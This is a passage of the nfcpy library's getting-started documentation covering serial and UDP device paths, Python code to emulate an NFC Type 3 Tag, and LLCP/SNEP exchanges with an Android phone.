UART adapter (ttyUSB0). On a Raspberry Pi 3 the UART linked from /dev/serial1 is available on the GPIO header (the other one is used for Bluetooth connectivity). On a Raspberry Pi 2 it is always ttyAMA0. pi@raspberrypi ~ $ ls -l /dev/tty[ASU]* /dev/serial? lrwxrwxrwx 1 root root 5 Dez 21 18:11 /dev/serial0 -> ttyS0 lrwxrwxrwx 1 root root 7 Dez 21 18:11 /dev/serial1 -> ttyAMA0 crw-rw---- 1 root dialout 204, 64 Dez 21 18:11 /dev/ttyAMA0 crw-rw---- 1 root dialout 4, 64 Dez 21 18:11 /dev/ttyS0 crw-rw---- 1 root dialout 188, 0 Feb 24 12:17 /dev/ttyUSB0 >>> import nfc >>> clf = nfc.ContactlessFrontend() >>> assert clf.open('tty:USB0:arygon') is True # open /dev/ttyUSB0 with arygon driver >>> assert clf.open('tty:USB0:pn532') is True # open /dev/ttyUSB0 with pn532 driver >>> assert clf.open('tty:AMA0') is True # try different drivers on /dev/ttyAMA0 >>> assert clf.open('tty') is True # try all serial ports and drivers >>> clf.close() # previous open calls implicitly closed the device A special kind of device bus that does not require any physical hardware is provided for testing and application prototyping. It works by sending NFC communication frames across a UDP/IP connection and can be used to connect two processes running an nfcpy application either locally or remote. In the following example the device path is supplied as an init argument. This would raise an exceptions.IOError with errno.ENODEV if it fails to open. The example also demonstrates the use of a with statement for automatic close when leaving the context. >>> import nfc >>> with nfc.ContactlessFrontend('udp') as clf: ... print(clf) ... Linux IP-Stack on udp:localhost:54321 Emulate a card¶ It is possible to emulate a card (NFC Tag) with nfcpy but unfortunately this only works with some NFC devices and is limited to Type 3 Tag emulation. The RC-S380 fully supports Type 3 Tag emulation. Devices based on PN532, PN533, or RC-S956 chipset can also be used but an internal frame size limit of 64 byte only allows read/write operations with up to 3 data blocks. Below is an example of an NDEF formatted Type 3 Tag. The first 16 byte (first data block) contain the attribute data by which the reader will learn the NDEF version, the number of data blocks that can be read or written in a single command, the total capacity and the write permission state. Bytes 11 to 13 contain the current NDEF message length, initialized to zero. The example is made to specifically open only an RC-S380 contactless frontend (otherwise the number of blocks that may be read or written should not be more than 3). import nfc import struct ndef_data_area = bytearray(64 * 16) ndef_data_area[0] = 0x10 # NDEF mapping version '1.0' ndef_data_area[1] = 12 # Number of blocks that may be read at once ndef_data_area[2] = 8 # Number of blocks that may be written at once ndef_data_area[4] = 63 # Number of blocks available for NDEF data ndef_data_area[10] = 1 # NDEF read and write operations are allowed ndef_data_area[14:16] = struct.pack('>H', sum(ndef_data_area[0:14])) # Checksum def ndef_read(block_number, rb, re): if block_number < len(ndef_data_area) / 16: first, last = block_number*16, (block_number+1)*16 block_data = ndef_data_area[first:last] return block_data def ndef_write(block_number, block_data, wb, we): global ndef_data_area if block_number < len(ndef_data_area) / 16: first, last = block_number*16, (block_number+1)*16 ndef_data_area[first:last] = block_data return True def on_startup(target): idm, pmm, sys = '03FEFFE011223344', '01E0000000FFFF00', '12FC' target.sensf_res = bytearray.fromhex('01' + idm + pmm + sys) target.brty = "212F" return target def on_connect(tag): print("tag activated") tag.add_service(0x0009, ndef_read, ndef_write) tag.add_service(0x000B, ndef_read, lambda: False) return True with nfc.ContactlessFrontend('usb:054c:06c1') as clf: while clf.connect(card={'on-startup': on_startup, 'on-connect': on_connect}): print("tag released") This is a fully functional NFC Forum Type 3 Tag. With a separate reader or Android apps such as NXP Tag Info and NXP Tag Writer, NDEF data can now be written into the ndef_data_area and read back until the loop is terminated with Control-C. Work with a peer¶ The best part of NFC comes when the limitations of a single master controlling a humble servant are overcome. This is achieved by the NFC Forum Logical Link Control Protocol (LLCP), which allows multiplexed communications between two NFC Forum Devices with either peer able to send protocol data units at any time and no restriction to a single application run in one direction. An LLCP link between two NFC devices is requested with the llcp argument to clf.connect(). >>> import nfc >>> clf = ContactlessFrontend('usb') >>> clf.connect(llcp={}) # now touch a phone True When the first example got LLCP running there is actually just symmetry packets exchanged back and forth until the link is broken. We have to use callback functions to add some useful stuff. >>> def on_connect(llc): ... print llc; return True ... >>> clf.connect(llcp={'on-connect': connected}) LLC: Local(MIU=128, LTO=100ms) Remote(MIU=1024, LTO=500ms) True The on_connect function receives a single argument llc, which is the LogicalLinkController instance coordinates aal data exchange with the remote peer. With this we can add client applications but they must be run in a separate execution context to have on_connect return fast. Only after on_connect returns, the llc can start running the symmetry loop (the LLCP heartbeat) with the remote peer and generally receive and dispatch protocol and service data units. When using the interactive interpreter it is less convinient to program in the callback functions so we will start a thread in the callback to execute the llc.run* loop and return with False. This tells clf.connect() to return immediately with the llc instance). >>> import threading >>> def on_connect(llc): ... threading.Thread(target=llc.run).start(); return False ... >>> llc = clf.connect(llcp={'on-connect': on_connect}) >>> print llc LLC: Local(MIU=128, LTO=100ms) Remote(MIU=1024, LTO=500ms) Application code is not supposed to work directly with the llc object but use it to create Socket objects for the actual communication. Two types of regular sockets can be created with either nfc.llcp.LOGICAL_DATA_LINK for a connection-less socket or nfc.llcp.DATA_LINK_CONNECTION for a connection-mode socket. A connection-less socket does not guarantee that application data is delivered to the remote application (although nfcpy makes sure that it’s been delivered to the remote device). A connection-mode socket cares about reliability, unless the other implementation is buggy data you send is guaranteed to make it to the receiving application - error-free and in order. What can be done with an Android phone as the peer device is for example to send to its default SNEP Server. SNEP is the NFC Forum Simple NDEF Exchange Protocol and a default SNEP Server is built into Android under the name of Android Beam. SNEP messages are exchanged over an LLCP data link connection so we create a connection mode socket, connect to the server with the service name known from the NFC Forum Assigned Numbers Register and then send a SNEP PUT request with a web link to open. >>> import ndef >>> socket = nfc.llcp.Socket(llc, nfc.llcp.DATA_LINK_CONNECTION) >>> socket.connect('urn:nfc:sn:snep') >>> records = [ndef.UriRecord("")] >>> message = b''.join(ndef.message_encoder(records)) >>> socket.send("\x10\x02\x00\x00\x00" + chr(len(message)) + message) >>> socket.recv() '\x10\x81\x00\x00\x00\x00' >>> socket.close() The phone should now have opened the web page. The code can be simplified by using the SnepClient from the nfc.snep package. >>> import nfc.snep >>> snep = nfc.snep.SnepClient(llc) >>> snep.put_records([ndef.UriRecord("")]) True The put() method is smart enough to temporarily connect to urn:nfc.sn:snep for sending. There are also methods to open and close the connection explicitely and maybe use a different service name. Note The Logical Link Control Protocol tutorial has more information on LLCP in general and how its used with nfcpy. The nfc.llcp package documentation contains describes all the API classes and methods that are available.
http://nfcpy.readthedocs.io/en/latest/topics/get-started.html
CC-MAIN-2018-13
refinedweb
2,134
55.03
<html> <head> <style> #chat, #chat table { font-family: arial,sans-serif; font-size: 10pt; } #chat .chat-bar { background-color: #11c; } </style> </head> <body> <div id="chat"></div> <script src=""> </script> </body> </html> WidgetSet mode and Cross Origin requests If there is a single feature of Wt that is not well known, simple to use, and potentially very useful, then it must be its WidgetSet deployment option. This allows a Wt application to integrate as a guest inside a host page (or application). A popular example of this concept is Google Maps, which you can easily integrate in another page. Using the WidgetSet deployment mode, you can turn any Wt application (or widget) in such a web widget with minimal effort. Since we’ve just implemented support for native Cross Origin requests in capable browsers, we decided it was a good opportunity to show case this by hosting a chat widget (the simplechat example) inside the homepage (it should be sitting on the bottom right of your window!). By default, a Wt application manages the entire contents of the browser window (which corresponds to the root() object). In contrast, when deployed as a WidgetSet application, you integrate the Wt application in another page and allow it to manage the contents and interactive of one or more <div>'s. No <iframe> is used for the integration, and thus there are no restrictions in positioning and/or styling the guest application widgets. The guest application functionality intermixes completely with the host page. For the homepage hosting the chat application, both the host and guest application are Wt applications that live in the same namespace, and so the library needed some updates to make sure that they do not interfere. Because the Wt application may be hosted on another server (and on another domain), the application needs to use Cross-Origin requests. By default, a browser can only issue requests to its Origin server (the server that is shown in the URL bar). While this used to be a delicate story, modern browsers now provide first class safe support for this (including IE8!). Also new protocols like WebSocket (which is used by the chat widget if available) provide support for Cross-Origin communication. Integrating the chat widget in a host page could not be much easier. For example, the following is a minimal complete HTML file which loads the chat popup widget. As you can see, you can easily customize the widget since it’s style is influenced by the CSS declarations of the host page. A guest widget can also provide a JavaScript API, by using JSignal<> to allow the invocation of C++ functions from JavaScript. Usually, you will want to wrap this in a nice JavaScript API to shield the user from the raw Wt API, which looks in this case like this for a login JSignal<WString> attached to the application : chat.emit(chat, 'login', 'koen'); This API is used by the homepage itself to couple the login to the blog to the login in the chat. The source code of the modified chat example can be browsed here (and is available from git). In Chrome I see the green area - but no pop-up?!?! (Chrome 8.0.552.224) Is this expected? /Sam
http://www.webtoolkit.eu/wt/blog/2010/12/17/widgetset_mode_and_cross_origin_requests?wtd=GnEItJX1g5un7V0PYDuAXXaNCTaqgSiJ
CC-MAIN-2013-48
refinedweb
543
57.81
Red Hat Bugzilla – Bug 114402 The "this is a test release" section of the release notes Last modified: 2007-11-30 17:10:35 EST Just a placeholder, should anything need to be changed in this section. Need to see if there is a better way of displaying the links. I upgraded from Fedora Core 1 to Core 2 Test 1. Unfortunately, yum application and up2date won't anymore. here is the result after calling yum: [root@localhost luya]# yum Traceback (most recent call last): File "/usr/bin/yum", line 22, in ? import yummain File "/usr/share/yum/yummain.py", line 30, in ? import yumcomps File "/usr/share/yum/yumcomps.py", line 4, in ? import comps File "/usr/share/yum/comps.py", line 5, in ? import libxml2 ImportError: No module named libxml2 libxml2 is in the folder but I failed to find the module. I also notice some application like Armagetron won't work on Kernel 2.6. I wonder why. It seems the sound is not available for the Test 1 but I will wait for Test 2. finalzone: This has absolutely nothing to do with the release notes (which is what this bug report is for). Please submit a separate bug report against yum; this is not the place for such things... Closing for now...
https://bugzilla.redhat.com/show_bug.cgi?id=114402
CC-MAIN-2016-44
refinedweb
217
77.43
This is the standard texture manager interface. More... #include <ivideo/txtmgr.h> Detailed Description This is the standard texture manager interface. A 3D rasterizer will have to implement a subclass of this one and return a pointer to it in Graphics3D. This class is responsible for receiving all textures from the 3D engine, converting them to an internal format if needed, calculating a palette if needed, and calculating all lookup tables related to the textures. Mipmap creation is also done in this class. Main creators of instances implementing this interface: - The 3D renderers create an instance of this. Main ways to get pointers to this interface: Definition at line 167 of file txtmgr.h. Member Function Documentation Create a new super lightmap with the specified dimensions. Create a new texture with the given texture format. - Parameters: - - Returns: - A new texture handle or 0 if the texture couldn't be created for some reason. The reason will be put in the optional fail_reason parameter. - See also: - Texture format strings Request maximum texture dimensions. Query the basic format of textures that can be registered with this texture manager. It is very likely that the texture manager will reject the texture if it is in an improper format. The alpha channel is optional; the texture can have it and can not have it. Only the bits that fit the CS_IMGFMT_MASK mask matters. Register a texture. The given input image is IncRef'd and DecRef'ed later when no longer needed. If you want to keep the input image make sure you have called IncRef yourselves. The texture is not converted immediately. Instead, you can make intermediate calls to iTextureHandle::SetKeyColor (). This function returns a handle which should be given to the 3D rasterizer or 2D driver when drawing or otherwise using the texture. The texture manager will reject the texture if it is an inappropiate format (see GetTextureFormat () method). The texture is unregistered at destruction, i.e. as soon as the last reference to the texture handle is released. Note! This function will NOT scale the texture to fit hardware restrictions. This is done later before texture is first used. - Parameters: - - Returns: - a new texture handle or 0 if the texture couldn't be created for some reason. The reason will be put in the optional 'fail_reason' parameter. The documentation for this struct was generated from the following file: Generated for Crystal Space 1.4.1 by doxygen 1.7.1
http://www.crystalspace3d.org/docs/online/api-1.4/structiTextureManager.html
CC-MAIN-2015-32
refinedweb
408
58.58
Videos tagged “ryanhemsworth” Culture Pop You Glock.jar00:15 1 Play / 0 Likes / 0 Comments "Unreleased" A New Series from Elias Arts and Jason Kramer - Trailer02:40 55 Plays / 0 Likes / 0 Comments Elias has a new series called “unreleased”. Hosted by their music supervisor, Jason Kramer, it is a collection of live interviews and recordings of artists who stop by the Elias Studio in Los Angeles.…+ More details def sound - idontevenlikerap .02:51 ... I'm . just . deffery . that's . it ... Captured by :: Trisha Angeles giflightenment :: Adam Trillman-Young's beard. collect thee song here :: ▲◎▽▨…+ More details - 01:40 This is a nostalgic trip back to Sasquatch 2014. Take a screenshot and shoot it @iNTRNTGRFFTi Materials: The OG Brendan Johnson Bootleg of 'Da Art of Storytellin' by Outkast (),…+ More details - 01:17 37 Plays / 0 Likes / 0 Comments a piece of a much bigger story.+ More details SCHWARZBROT pres RYAN HEMSWORTH01:18 5,464 Plays / 8 Likes / 0 Comments SCHWARZBROT pimped by The Gap 26 / APRIL / 14 CAFÉ LEOPOLD RYAN HEMSWORTH // canada _GVBBV____Schwarzbrot _LUDA___Schwarzbrot illuminated by NICHTKUNST CAFÉ hosted by NOISEY. More details - 02:03 155 Plays / 0 Likes / 0 Comments WEDIDIT X AIAIAI X SXSW Paul Wall Shlohmo Ryan Hemsworth Mr. Rogers Tommy Kruise C.Z. WeDidIt dj team+ More details Flying Lotus at Fremantle Arts Centre00:51 30 Plays / 1 Likes / 0 Comments After two sold out events at Perth’s biggest nightclub the Origin team decided to create a new experience for the third edition of Handpicked. A night under the stars, in the crisp breeze of the Indian…+ More details Sasquatch Sounds: Ryan Hemsworth00:17 12 Plays / 0 Likes / 0 Comments Ryan Hemsworth+ More details ACCLAIM Magazine X Ryan Hemsworth & Kaytranada - The Loud Issue01:29 775 Plays / 5 Likes / 0 Comments In preparation for the global release of ACCLAIM magazine Issue 31 - The Loud Issue, we spent an evening with Canadian producers Ryan Hemsworth and Kaytranada. This edition of ACCLAIM magazine is…+ More details What are Tags? Tags are keywords that describe videos. For example, a video of your Hawaiian vacation might be tagged with "Hawaii," "beach," "surfing," and "sunburn."
http://vimeo.com/tag:ryanhemsworth/sort:date/format:detail
CC-MAIN-2014-41
refinedweb
354
65.66
#include <jevois/Debug/Timer.H> Simple timer class. This class reports the time spent between start() and stop(), at specified intervals. Because JeVois modules typically work at video rates, this class only reports the average time after some number of iterations through start() and stop(). Thus, even if the time of an operation between start() and stop() is only a few microseconds, by reporting it only every 100 frames one will not slow down the overall framerate too much. See Profiler for a class that provides additional checkpoints between start() and stop(). Definition at line 34 of file Timer.H. End a time measurement period, report time spent if reporting interval is reached. The fps and cpu load are returned, in case users want to show this info, eg, in an overlay display. Note that the values are only updated when the reporting interval is reached, and remain the same in between. If seconds is not null, it will be set to the instantaneous number of seconds between start() and stop(). Definition at line 47 of file Timer.C. References LDEBUG, LERROR, LFATAL, LINFO, and jevois::secs2str().
http://jevois.org/doc/classjevois_1_1Timer.html
CC-MAIN-2022-27
refinedweb
187
64.61
Being a purely functional language, Haskell limits you from many of the conventional methods of programming in an object-oriented language. But does limiting programming options truly offer us any benefits over other languages? In this tutorial, we'll take a look at Haskell, and attempt to clarify what it is, and why it just might be worth using in your future projects. Haskell at a Glance Haskell is a very different kind of language. Haskell is a very different kind of language than you may be used to, in the way that you arrange your code into "Pure" functions. A pure function is one that performs no outside tasks other than returning a computed value. These outside tasks are generally referred to as "Side-Effects. This includes fetching outside data from the user, printing to the console, reading from a file, etc. In Haskell, you don't put any of these types of actions into your pure functions. Now you may be wondering, "what good is a program, if it can't interact with the outside world?" Well, Haskell solves this with a special kind of function, called an IO function. Essentially, you separate all the data processing parts of your code into pure functions, and then put the parts which load data in and out into IO functions. The "main" function that is called when your program first runs is an IO function. Let's review a quick comparison between a standard Java program, and it's Haskell equivalent. Java Version: import java.io.*; class Test{ public static void main(String[] args) { System.out.println("What's Your Name: "); BufferedReader br = new BufferedReader(new InputStreamReader(System.in)); String name = null; try { name = br.readLine(); } catch(IOException e) { System.out.println("There Was an Error"); } System.out.println("Hello " + name); } } Haskell Version: welcomeMessage name = "Hello " ++ name main = do putStrLn "What's Your Name: " name <- getLine putStrLn $ welcomeMessage name The first thing that you may notice when looking at a Haskell program is that there are no brackets. In Haskell , you only apply brackets when attempting to group things together. The first line at the top of the program - that starts with welcomeMessage - is actually a function; it accepts a string and returns the welcome message. The only other thing that may appear somewhat odd here is the dollar sign on the last line. putStrLn $ welcomeMessage name This dollar sign simply tells Haskell to first perform what's on the right side of the dollar sign, and then move on to the left. This is needed because, in Haskell, you could pass a function as a parameter to another function; so Haskell doesn't know if you are trying to pass the welcomeMessage function to putStrLn, or process it first. Besides the fact that the Haskell program is considerably shorter than the Java implementation, the main difference is that we've separated the data processing into a pure function, whereas, in the Java version, we only printed it out. This is your job in Haskell in a nutshell: separating your code into its components. Why, you ask? Well. there are a couple of reasons; let's review some of them. 1. Safer Code There is no way for this code to break. If you've ever had programs crash on you in the past, then you know that the problem is always related to one of these unsafe operations, such as an error when reading a file, a user entered the wrong kind of data, etc. By limiting your functions to only processing data, your are guaranteed that they won't crash. The most natural comparison that most people are familiar with is a Math function. In Math, a function computes a result; that's all. For example, if I were to write a Math function, like f(x) = 2x + 4, then, if I pass in x = 2, I will get 8. If I instead pass in x = 3, I will get 10 as a result. There is no way for this code to break. Additionally, since everything is split up into small functions, unit-testing becomes trivial; you can test each individual part of your program and move on knowing that it's 100% safe. 2. Increased Code Modularity Another benefit to separating your code into multiple functions is code reusability. Imagine if all the standard functions, like min and max, also printed the value to the screen. Then, these functions would only be relevant in very unique circumstances, and, in most cases, you would have to write your own functions that only return a value without printing it. The same applies to your custom code. If you have a program that converts a measurement from cm to inches, you could put the actual conversion process into a pure function and then reuse it everywhere. However, if you hardcode it into your program, you will have to retype it every time. Now this seems fairly obvious in theory, but, if you remember the Java comparison from above, there are some things that we are used to just hardcoding in. Additionally, Haskell offers two ways of combining functions: the dot operator, and higher order functions. The dot operator allows you to chain functions together so that the output of one function goes into the input of the next. Here is a quick example to demonstrate this idea: cmToInches cm = cm * 0.3937 formatInchesStr i = show i ++ " inches" main = do putStrLn "Enter length in cm:" inp <- getLine let c = (read inp :: Float) (putStrLn . formatInchesStr . cmToInches) c This is similar to the last Haskell example, but, here, I've combined the output of cmToInches to the input of formatInchesStr, and have tied that output to putStrLn. Higher order functions are functions that accept other functions as an input, or functions that output a function as its output. A helpful example of this is Haskell's built-in map function. map takes in a function that was meant for a single value, and performs this function on an array of objects. Higher order functions allow you to abstract sections of code that multiple functions have in common, and then simply supply a function as a parameter to change the overall effect. 3. Better Optimisation In Haskell, there is no support for changing state or mutable data. In Haskell, there is no support for changing state or mutable data, so if you try to change a variable after it has been set, you will receive an error at compile time. This may not sound appealing at first, but it makes your program "referentially transparent". What this means is that your functions will always return the same values, provided the same inputs. This allows Haskell to simplify your function or replace it entirely with a cached value, and your program will continue to run normally, as expected. Again, a good analogy to this is Math functions - as all Math functions are referentially transparent. If you had a function, like sin(90), you could replace that with the number 1, because they have the same value, saving you time calculating this each time. Another benefit you get with this sort of code is that, if you have functions that don't rely on each other, you can run them in parallel - again boosting the overall performance of your application. 4. Higher Productivity in Workflow Personally, I've found that this leads to a considerably more efficient workflow. By making your functions individual components that don't rely on anything else, you are able to plan and execute your project in a much more focused manner. Conventionally, you would make a very generic to-do list that encompasses many things, such as "Build Object Parser" or something like that, which doesn't really allow you to know what's involved or how long it will take. You have a basic idea, but, many times, things tend to "come up." In Haskell, most functions are fairly short - a couple of lines, max - and are quite focused. Most of them only execute a single specific task. But then, you have other functions, which are a combination of these lower-level functions. So your to-do list ends up being comprised of very specific functions, where you know exactly what each one does ahead of time. Personally, I've found that this leads to a considerably more efficient workflow. Now this workflow is not exclusive to Haskell; you can easily do this in any language. The only difference is that this is the preferred way in Haskell, as apposed to other languages, where you are more likely to combine multiple tasks together. This is why I recommended that you learn Haskell, even if you don't plan on using it every day. It forces you to get into this habit. Now that I've given you a quick overview of some of the benefits to using Haskell, let's take a look at a real world example. Because this is a net-related site, I thought that a relevant demo would be to make a Haskell program that can backup your MySQL databases. Let's start with some planning. Building a Haskell Program Planning I mentioned earlier that, in Haskell, you don't really plan out your program in an overview type style. Instead, you organize the individual functions, while, at the same time, remembering to separate the code into pure and IO functions. The first thing this program has to do is connect to a database and get the list of tables. These are both IO functions, because they fetch data from an outside database. Next, we have to write a function that will cycle through the list of tables and return all the entries - this is also an IO function. Once that's finished, we have a few pure functions to get the data ready for writing, and, last but not least, we have to write all the entries to backup files along with the date and a query to remove old entries. Here is a model of our program: This is the main flow of the program, but, like I said, there will also be a few helper functions to do things like getting the date and such. Now that we have everything mapped out, we can begin building the program. Building I will be using the HDBC MySQL library in this program, which you can install by running cabal install HDBC and cabal install HDBC-mysql if you have the Haskell platform installed. Let's start with the first two functions on the list, as these are both built into the HDBC library: import Control.Monad import Database.HDBC import Database.HDBC.MySQL import System.IO import System.Directory import Data.Time import Data.Time.Calendar main = do conn <- connectMySQL defaultMySQLConnectInfo { mysqlHost = "127.0.0.1", mysqlUser = "root", mysqlPassword = "pass", mysqlDatabase = "test" } tables <- getTables conn This part is fairly straight forward; we create the connection and then put the list of tables into a variable, called tables. The next function will loop through the list of tables and get all the rows in each one, a quick way to do this is to make a function that handles just one value, and then use the map function to apply it to the array. Since we are mapping an IO function, we have to use mapM. With this implemented, your code should now look like the following: getQueryString name = "select * from " ++ name processTable :: IConnection conn => conn -> String -> IO [[SqlValue]] processTable conn name = do let qu = getQueryString name rows <- quickQuery' conn qu [] return rows main = do conn <- connectMySQL defaultMySQLConnectInfo { mysqlHost = "127.0.0.1", mysqlUser = "root", mysqlPassword = "pass", mysqlDatabase = "test" } tables <- getTables conn rows <- mapM (processTable conn) tables getQueryString is a pure function that returns a select query, and then we have the actual processTable function, which uses this query string to fetch all the rows from the specified table. Haskell is a strongly typed language, which basically means you can't, for instance, put an int where a string is supposed to go. But Haskell is also "type inferencing," which means you usually don't need to write the types and Haskell will figure it out. Here, we have a custom conn type, which I needed to declare explicitly; so that is what the line above the processTable function is doing. The next thing on the list is to convert the SQL values that were returned by the previous function into strings. Another way to handle lists, besides map is to create a recursive function. In our program, we have three layers of lists: a list of SQL values, which are in a list of rows, which are in a list of tables. I will use map for the first two lists, and then a recursive function to handle the final one. This will allow the function itself to be pretty short. Here is the resulting function: unSql x = (fromSql x) :: String sqlToArray [n] = (unSql n) : [] sqlToArray (n:n2) = (unSql n) : sqlToArray n2 Then, add the following line to the main function: let stringRows = map (map sqlToArrays) rows You may have noticed that, somtimes, variables are declared as var , and at other times, as let var = function. The rule is essentially, when you are attempting to run a IO function and place the results in a variable, you use the method; to store a pure function's results within a variable, you would instead use let. The next part is going to be a little tricky. We have all the rows in string format, and, now, we have to replace each row of values with an insert string that MySQL will understand. The problem is that the table names are in a separate array; so a double map function won't really work in this case. We could have used map once, but then we would have to combine the lists into one - possibly using tuples because map only accepts one input parameter - so I decided that it would be simpler to just write new recursive functions. Since we have a three layer array, we are going to need three seperate recursive functions, so that each level can pass down its contents to the next layer. Here are the three functions along with a helper function to generate the actual SQL query: flattenArgs [arg] = "\"" ++ arg ++ "\"" flattenArgs (arg1:args) = "\"" ++ arg1 ++ "\", " ++ (flattenArgs args) iQuery name args = "insert into " ++ name ++ " values (" ++ (flattenArgs args) ++ ");\n" insertStrRows name [arg] = iQuery name arg insertStrRows name (arg1:args) = (iQuery name arg1) ++ (insertStrRows name args) insertStrTables [table] [rows] = insertStrRows table rows : [] insertStrTables (table1:other) (rows1:etc) = (insertStrRows table1 rows1) : (insertStrTables other etc) Again, add the following to the main function: let insertStrs = insertStrTables tables stringRows The flattenArgs and iQuery functions work together to create the actual SQL insert query. After that, we only have the two recursive functions. Notice that, in two of the three recursive functions, we input an array, but the function returns a string. By doing this, we are removing two of the nested arrays. Now, we only have one array with one output string per table. The last step is to actually write the data to their corresponding files; this is significantly easier, now that we're merely dealing with a simple array. Here is the last part along with the function to get the date: dateStr = do t <- getCurrentTime return (showGregorian . utctDay $ t) filename name time = "Backups/" ++ name ++ "_" ++ time ++ ".bac" writeToFile name queries = do let output = (deleteStr name) ++ queries time <- dateStr createDirectoryIfMissing False "Backups" f <- openFile (filename name time) WriteMode hPutStr f output hClose f writeFiles [n] [q] = writeToFile n q writeFiles (n:n2) (q:q2) = do writeFiles [n] [q] writeFiles n2 q2 The dateStr function converts the current date into a string with the format, YYYY-MM-DD. Then, there is the filename function, which puts all the pieces of the filename together. The writeToFile function takes care of the outputting to the files. Lastly, the writeFiles function iterates through the list of tables, so you can have one file per table. All that's left to do is finish up the main function with the call to writeFiles, and add a message informing the user when it's finished. Once completed, your main function should look like so: main = do conn <- connectMySQL defaultMySQLConnectInfo { mysqlHost = "127.0.0.1", mysqlUser = "root", mysqlPassword = "pass", mysqlDatabase = "test" } tables <- getTables conn rows <- mapM (processTable conn) tables let stringRows = map (map sqlToArray) rows let insertStrs = insertStrTables tables stringRows writeFiles tables insertStrs putStrLn "Databases Sucessfully Backed Up" Now, if any of your databases ever lose their information, you can paste the SQL queries straight from their backup file into any MySQL terminal or program that can execute queries; it will restore the data to that point in time. You can also add a cron job to run this hourly or daily, in order to keep your backups up to date. Finishing Up There's an excellent book by Miran Lipovača, called "Learn you a Haskell". That's all I have for this tutorial! Moving forward, if you are interested in fully learning Haskell, there are a few good resources to check out. There's an excellent book, by Miran Lipovača, called "Learn you a Haskell", which even has a free online version. That would be an excellent start. If you are looking for specific functions, you should refer to Hoogle, which is a Google-like search engine that allows you to search by name, or even by type. So, if you need a function that converts a string to a list of strings, you would type String -> [String], and it will provide you with all of the applicable functions. There is also a site, called hackage.haskell.org, which contains the list of modules for Haskell; you can install them all through cabal. I hope you've enjoyed this tutorial. If you have any questions at all, feel free to post a comment below; I'll do my best to get back to you as soon as possible! Envato Tuts+ tutorials are translated into other languages by our community members—you can be involved too!Translate this post
https://code.tutsplus.com/tutorials/why-haskell--net-28066
CC-MAIN-2017-09
refinedweb
3,035
67.89
Cucumber - Reports We do test execution in order to understand the stability of a product, so be it manual test or an automated test, it is very important to generate a concise report that can depict the stability of a product. Hence, while we are automating our test scenario with Cucumber, it is essential to know, how better we can generate our Cucumber test reports. As we know that Cucumber is a BDD framework, it does not have a fancy reporting mechanism. In order to achieve this, we need to integrate Cucumber with other open source tool like Ant/Junit. Here, we will take examples of JUnit further because, it provides support for Java language. Let’s look into the details of different report format, which is available and easy to use − Pretty Format (HTML Report) Pretty Format generates the Cucumber test report in the HTML format, i.e. an HTML file. It is the most readable report format. It generates the report in the same way as it is a feature file, so tracing is also made easy. Also, you can specify the location where you want this report to be placed after the test execution. It can be − - Local Directory − We can specify target directory for report as any local directory of the machine where the test will run. - Server Directory − Also we have a provision to specify a target directory as any directory on the server, which is publically accessible. This generally helps when we want our clients/stakeholders to view the test results at any given point of time. Example Let’s automate an example of a pretty format. Step 1 − Create a Maven project named cucumberReport in Eclipse. Step 2 − Create a package named CucumberReport under src/test/java Step 3 − Create a feature file named cucumberReport.feature Write the following text within the file and save it. Feature − Cucumber Report #This is to check test result for Pass test case Scenario: Login functionality exists Given I have opened the browser When I open Facebook website Then Login button should exist #This is to check test result for Failed test case Scenario: Forgot password exists Given I have open the browser When I open Facebook website Then Forgot password link should exist Note − Here scenario first will pass, whereas the second scenario will fail. So that we can witness how the pass and failed report looks like. Step 4 − Create a step definition file. - Select and right-click on the package outline. - Click on ‘New’ file. - Give the file name as cucumberReport.java - Write the following text within the file and save it. package CucumberReport; import org.openqa.selenium.By; import org.openqa.selenium.WebDriver; import org.openqa.selenium.firefox.FirefoxDriver; import cucumber.annotation.en.Given; import cucumber.annotation.en.Then; import cucumber.annotation.en.When; public class cucumberReport { WebDriver driver = null; @Given("^I have open the browser$") public void openBrowser() { driver = new FirefoxDriver(); } @When("^I open Facebook website$") public void goToFacebook() { driver.navigate().to(""); } @Then("^Login button should exits$") public void loginButton() { if(driver.findElement(By.id("u_0_v")).isEnabled()) { System.out.println("Test 1 Pass"); } else { System.out.println("Test 1 Fail"); } } @Then("^Forgot password link should exist$") public void forgotPWD() { if(driver.findElement(By.id("")).isEnabled()) { System.out.println("Test 1 Pass"); } else { System.out.println("Test 1 Fail"); } } } Step 5 − Create a runner class file. - Create a runner class named runTest.java inside the package. - Write the following code. Save the file. package CucumberReport; import org.junit.runner.RunWith; import cucumber.junit.Cucumber; @RunWith(Cucumber.class) @Cucumber.Options( format = {"pretty", "html:target/Destination"} ) //Specifying pretty as a format option ensure that HTML report will be generated. //When we specify html:target/Destination - It will generate the HTML report inside the Destination folder, in the target folder of the maven project. public class runTest { } - Run the test using option - Select runTest.java file from package explorer. - Right-click and select the option, Run as. - Select JUnit test. You will observe the following things when you run this class file. Both the scenario will get executed one by one. A folder named Destination will be created inside the target directory. The report will be there named as “Index.html”. Open Index.html with web browser. You will see the report mentioned in the following image − It exactly highlights the color of failed scenario. Moreover, you will see highlight for failed step in that scenario. This makes the debugging very easy. JSON Report By now we have seen how easy HTML report is. However, if we want to pass on this report information to any other application, that’s kind of tricky in case of HTML reports. Here comes the need of another reporting format. JSON-Java script object notation is another format for generating Cucumber test reports. JSON is an object containing a lot of information stored in text format. JSON reports bring a different value to the table. JSON report can also be used as a payload of information to be transferred between different servers. Further, it can be used to be displayed as a web page. In a nutshell, JSON reports can be used by other application. What is payload information? When data is sent over the Internet, each unit transmitted includes both header information and the actual data being sent. The header identifies the source and destination of the packet, while the actual data is referred to as the payload. In order to generate a JSON report, we just need to make a change in the runner file. - Change the format option in the runner file as follows. package CucumberReport; import org.junit.runner.RunWith; import cucumber.junit.Cucumber; @RunWith(Cucumber.class) @Cucumber.Options( format={"json:target/Destination/cucumber.json"}) //When we specify json:target/Destination/cucumber.json - It will generate the JSON report inside the Destination folder, in the target folder of the maven project. public class runTest {} - Run the test using option − - Select runTest.java file from package explorer. - Right click and select option Run as. - Select JUnit test. - You will observe the following things when you run this class file. - Both the scenario will get executed one by one. - The report will be there named as cucumber.json (as provided in runner class). - Open cucumber.json file with the text editor. - You will see the report mentioned in the following screenshot after placing line breaks − Note − JSON is less readable as compared to the HTML report format.
https://www.mumbai-academics.com/2018/07/cucumber-reports.html
CC-MAIN-2019-35
refinedweb
1,079
51.14
